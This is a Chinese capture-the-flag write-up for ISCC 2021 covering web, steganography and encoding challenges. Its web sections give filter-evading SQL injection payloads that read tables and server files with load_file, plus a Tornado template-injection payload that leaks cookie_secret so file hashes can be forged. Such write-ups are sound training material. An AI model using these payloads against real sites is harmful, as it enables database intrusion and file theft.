ISCC2021-部分题目再现
文章目录
- 练武
- easyweb
- tornado
- 李华的红包
- 海市蜃楼-1
- 美人计
- 我的折扣是多少
- 检查一下
- 小明的宠物图
- 小明的表情包
- 擂台
- ISCC客服冲冲冲(一)
- 这是啥
- Web01
练武
easyweb
很明显,本题需要进行sql注入但是并不知道注入点
经过测试,判断注入点为:’
闭合符号用%23代替
在后面测试发现空格被过滤了,我们可以使用%0d
进行绕过
尝试使用联合查询发现union,select
,尝试使用双写进行绕过
payload
?id=0'%0dununionion%0dselselectect%0d1,2,3%23
得到显示位
根据一贯风格,爆数据库名
?id=0'%0dununionion%0dselselectect%0d1,database(),3%23
然后是爆表名,经过测试发现from、information_schema
同样也被过滤了
1、from 则可以尝试进行双写或者大写转换等进行绕过
2、information_schema的话则可以尝试同类型进行转换,查看版本,5.7.33,存在sys数据库,所以可以利用sys数据库查出表名
构造payload
?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dgroup_concat(table_name)%0dFROM%0dsys.schema_table_statistics_with_buffer),3%0d%23
得到表名
判断列数
?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dgroup_concat(table_name)%0dFROM%0dsys.schema_auto_increment_columns),3%0d%23
表名都是iscc_flag
盲猜列名是:flag
构造payload
?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dflag%0dfrom%0discc_flag),3%0d%23
进入该页面得到源码进行分析
`<?php
if(isset($_GET[‘c’])){
c=c=c=_GET[‘c’];
if(preg_match("/[zxcvbMnlkjhgfsaoiuytreq]+|[ZXCVBNLKKJHGFSAOIUYTREQ]+|[0123456789]+|\(|\/|\*|\-|\+|\.|\{|\}|\[|\]|\'|\"|\?|\>|\<|\,|\)|\(|\&|\^|\%|\#|\@|\!/", $c)){exit("die!!");
}else{echo `$c`;
}
}else{
highlight_file(FILE);
}
?>
`
似乎没什么发现,26个英文字母表对比一下上述的英文字符zxcvbMnlkjhgfsaoiuytreq
发现没被过滤的字母有dmpw
,执行pwd获取文件路径,
获取flag位置,使用load_file()方法
?id=0'%0dununionion%0dseselectlect%0d1,(load_file('/var/www/const/flllllllllaaag.php')),3%0d%23
或者是
?id=-1'%0duniunionon%0dselselectect%0d1,(load_file('/etc/apache2/sites-available/000-default.conf')),3%23 //此路径为默认
获取网站路径
在源代码中查看flag
tornado
进入三个路径的文件,发现flag.txt中flag在/fllllllllllllaaaaaag中;
welcome.txt中提示render函数
,百度一下存在render函数的模板注入;
hints.txt告诉我们md5(cookie_secret+md5(filename))
发现我们需要进行md5
查看hints.txt的路径
http://39.96.91.106:7060/file?filename=/hints.txt&filehash=c61a0774797a56fc60854ac778aa3d15
有filehash参数,根据所给出的提示filehasc的值是MD5处理,有了filehash还需要有cookie_secret这一步可以参考之前的题型,有大佬做出明确解释看这里
构造payload
error?msg={{handler.settings}}
得到cookie_secret,计算hash值
拿到大佬脚本
import hashlibdef md5encode(str):m = hashlib.md5()m.update(str)return m.hexdigest()name = '/fllllllllllllaaaaaag'
secret = 'ef57c331-744f-4528-b434-9746317d4f6a'
name = name.encode()
bb = md5encode((secret + md5encode(name)).encode())
print(bb)
李华的红包
010Editor打开
24,43,13,13,12,21,43
尝试了一下,有点像敲击码
最后得到flag:ISCCBFS
海市蜃楼-1
打开文档没什么有用的东西,把文档改成zip形式
点进去查找flag
美人计
打开文件,一张图片格式找到提示信息
很显然这是AES加密,密匙是ISCC2021
打开文档里面有一张二维码,扫描得到信息
U2FsdGVkX1/Ka+sScszwQkwhO+VLiJwV/6IFg5W+TfNHGxG2qZsIr2iwMwb9X9Iu 3GuGWmPOtO27z8vNppD2D50fwsD+8VWhdtW9J4cewYivH/Z/7GoUvcJXJMrvf+vu +CBqWDGp6HWd0e5whGhuzlK0ZtBcDZdPDSIHA7+GuUlifp8PcFCtJPgiuk143REE +pKFiSJXolXLR1vJCdGY9w5mXFbiWPrb2U7r/v5noP8=
进行三次解密得到字符:y0u_h@ve_fal1en_intO_tHe_tr@p_0f_tHe_be@uty_!
很是让人头大!!
试着将word文档改为压缩包,在ny4w1nbmry4m.zip\word\media中看到了两张image
其中一个就是那张二维码,还有另一张二维码,扫描出结果是
U2FsdGVkX19eOY/pDh8+vPAcvfkLi1XLUneVzjLLOMul53sKK8UpobdCOiPIv4KE
但是,进行AES解密失败,所以尝试了DES,即可得到flag
我的折扣是多少
下载好文件后,运行exe文件得到一串编码
pass1{\u006b\u0072\u0077}
,Unicode编码,解码后为pass1{krw}
在010Editor打开压缩包在尾部发现
cGFzczJ7Z2NjNjY2fQ==
进行base64编码得到:pass2{gcc666}
组合起来用密码:krwgcc666解开压缩包
eW91Zm91bmRtZT8=
base64解出来是:youfoundme?
接下来还剩一个MP3格式的文件MP3一般都是用MP3stego解密,接出来密码是youfoundme?
得到ISCC{LFXXK4TENFZWG33VNZ2DELRRGU======}
进行base32解密
检查一下
解压后是一张图片,尝试进行binwalk进行分离
解压后的文件,发现有一个文档打开后01的字符串
联想到是01字符串画二维码
先看下字符串长度发现是841,而正好是29的平方,那应该就是二维码了
from PIL import Image
MAX = 29 #宽高 841个01字符串,所以宽和高是29
pic = Image.new("RGB",(MAX, MAX))
#若是(255,255,255)、(0,0,0)需要先转换01
str = "1111111000100100110000111111110000010011011110010101000001101110100111010011010010111011011101000000111011110101110110111010010111101110001011101100000101110111000010010000011111111010101010101010111111100000000011100100110100000000100101101110000101010101000001101000011101011011011100101000001110010010001111011110010001100000101101100111111001010110101101110000100011110100110001001100010010101110000111111111110010100110101001111110010110001100110111110111000110011110010001111001110000100011010000110100100000001011001010101101110100011011010011100011101001111011111000101001101101101100101010001111101000000000011101101101010001011011111110000011110000101011010100000101011110010101000101101011101001010011001011111001010111010110101111000001101001101110100101010000010100111011000001000011101000011001001011111110100100100000111100110"
i=0
for y in range (0,MAX):for x in range (0,MAX):if(str[i] == '1'):pic.putpixel([x,y],(0, 0, 0))else:pic.putpixel([x,y],(255,255,255))i = i+1
pic.show()
pic.save("./flag.png")
得到二维码扫描
小明的宠物图
下载后是一张图片
用binwalk分离图片得到flag.txt和key.zip
flag.txt中内容为U2FsdGVkX18kNy7RlBvcV9WJsqa+oxvdd0Ir86U2cU2996N6ltZi7VVOaw==
显然需要密钥解密
打开key.zip发现其中的key.txt只有5字节大小,结合那个兔子说的它需要碰撞应该是crc32碰撞,尝试发现(0_0)为密钥
小明的表情包
可以看到这是凯撒解密,但是偏移量是未知的,通过枚举:发现偏移量为:13时是英文日期,加上提示,年月日可以想到1999,但是月份和日期没有,都是数字,字节为8位可以使用Ziperello进行爆破
得到密码:07071999
然后打开文件时不支持的,所以在winhex中查看,发现它的文件头缺失了,然后补充好,得到图片
擂台
ISCC客服冲冲冲(一)
可以直接进行改票,但是会被检测到刷票行为
既然不发进行刷票,那就直接把对方的投票按钮给他关闭!
我们可以通过火狐浏览器F12进入开发者模式,对源码进行修改直接讲对方的投票按钮删除
ISCC2021-部分题目再现相关推荐
- 2014年TI杯邀请赛——简易高速差分探头 题目解析
TI倍邀请赛马上就要开始了,多做几个题练练手,所以以后几期都是关于TI杯邀请赛的,敬请期待. 一.题目再现(完整题目已经上传) 任务:设计并制作一个简易有源高速差分示波器探头,实现差分输入.单端输出功 ...
- 2019大学生电子设计竞赛—简易电路测试仪及2020TI杯邀请赛校内选拔—差分放大测试装置题目解析
在十天之前,刚做了2019年大学生电子设计竞赛的题目-简易电路特性测试仪,然后在三天前参加TI杯邀请赛校内选拔赛,题目就是国赛题的改编,只不过多了很多其他要求.为此,这期的题目解析就把这两道题放一起来 ...
- Lotto(DFS处理)
题目再现 题目内容: 给定N个数字,再从中选定M个数字出来. 将每一种组合内的数字由小到大排列之后, 将所有组合按照字典序排列, 请你找出第X组的第Y个数字. 给定的数字为1~N. 范例1 (N,M, ...
- Maze(BFS处理)
题目再现 题目内容: 给你一个迷宫, S为起点,E为终点. 请你找出走出迷宫所需要花费的最短步数. 你只能往上下左右四个方向移动.输入格式: 第一行有一个数字T,代表有T组测资. 每组测资的第一行有两 ...
- Adjacent Node Sum(邻接表处理)
题目再现 题目内容: 给定一个节点有权重的图, 请你计算与一个节点相邻的所有节点的权重和. 节点编号为1~N. 每个节点的编号即为他的权重.输入格式: 只有一组测资. 第一行有三个数字,N.M.Q. ...
- Species Tree(HashTable实现)
题目再现 题目内容: 给定一个物种演化图, 关系的表示方式如下: x y : 表示x为y的先祖. 一个物种只会有一个先祖, 一个先祖可以有很多个演化出来的物种, 请你找出每个问题询问物种的祖父物种(先 ...
- Find the Kth number(找第K大数)
题目再现 题目内容: 给定N个排序好的序列,每个序列内有M个数字.因此我们总共有N*M个数字,编号为1~N*M. 将N*M个数字排序后输出第K个数字是多少.Hint : 直接将N*M个数字做排序会超过 ...
- py实战绘制人口金字塔图
大家好,我是执念斩长河,一个刚刚学习python绘图的学渣.今天非常开心阅读了<python数据可视化>(黑马程序员编著)其中的"绘制人口金字塔图"章节被我成功运行出来 ...
- JavaScript|表格隔行变色(可作模板copy)
本博文源于js基础,主要实现表格的隔行变色. 题目再现 想让表格产生隔行变色的效果. 解题思路 若手动给所有的奇数行或者偶数行设置某个类名,则显地太麻烦.使用js可以简化这种重复工作. 测试效果 附上 ...
- DS实验4--求单链表交集与差集(含测试效果及实现)
本次实验包含求单链表的交集和差集,并作用在一个单链表的上面,为了实现两个函数的测试,需要用到几个函数.第一:1.初始化 2.尾插法 3.删除节点 4.遍历节点.这四个函数写好后,我们就可以愉快的给1交 ...
最新文章
- LeetCode简单题之图像渲染
- Django学习笔记之Django QuerySet的方法
- linux运维前景与运维人员最佳职业规划录像
- iOS网络编程-配置iCloud-图文解说
- 自动配置原理精讲||@Conditional ||怎么知道哪些自动配置类生效? 启用debug=true属性(在配置文件配置);
- mybatis基于注解的入门案例
- C# 基础知识 (三).主子对话框数值传递
- 【数据结构与算法】之深入解析“分割数组的最大值”的求解思路与算法示例
- 汇编语言学习笔记-按指定的字体输出文本
- 用java正则表达式验证字符串(邮箱与网址)
- 《Linux From Scratch》第三部分:构建LFS系统 第六章:安装基本的系统软件- 6.69. Vim-7.4...
- 超级电容怎么才能把内阻做小_骆驼电瓶怎么样?
- 华为matebook和linux版本区别,华为MateBook14Linux版本开箱评测 | 从来没有让我们失望!...
- 小米pro15拆机_小米pro拆机图解(8步)
- 论文阅读:Reducing Transformer Depth On Demand With Structured Dropout
- 戴尔惠普联想笔记本性价比(戴尔和联想笔记本性价比)
- fastapi--安装
- 广州计算机专业分数线,广东人工智能专业分数线多少
- QuestaSim里覆盖率的查看
- Warning: Failed to parse host xx.xx.com
热门文章
- Unrecognised input. Possibly missing opening ‘{‘
- [WARNING] Corrupted STDOUT by directly writing to native stream in forked JVM 1
- c语言求数组中绝对值最小值,c语言中求绝对值的数学函数
- EasyGUI-1:模块基础
- Android 键值映射
- 五、肿瘤全基因组学体细胞结构突变特征(Patterns of somatic structural variation in human cancer genomes)
- java 求100天之后是周几
- 最新二开微信表情包小程序+前后端 【去授权版】
- protobuf 中 repeated fields 细节
- 浅谈HTTP中Get、Post、Put与Delete的区别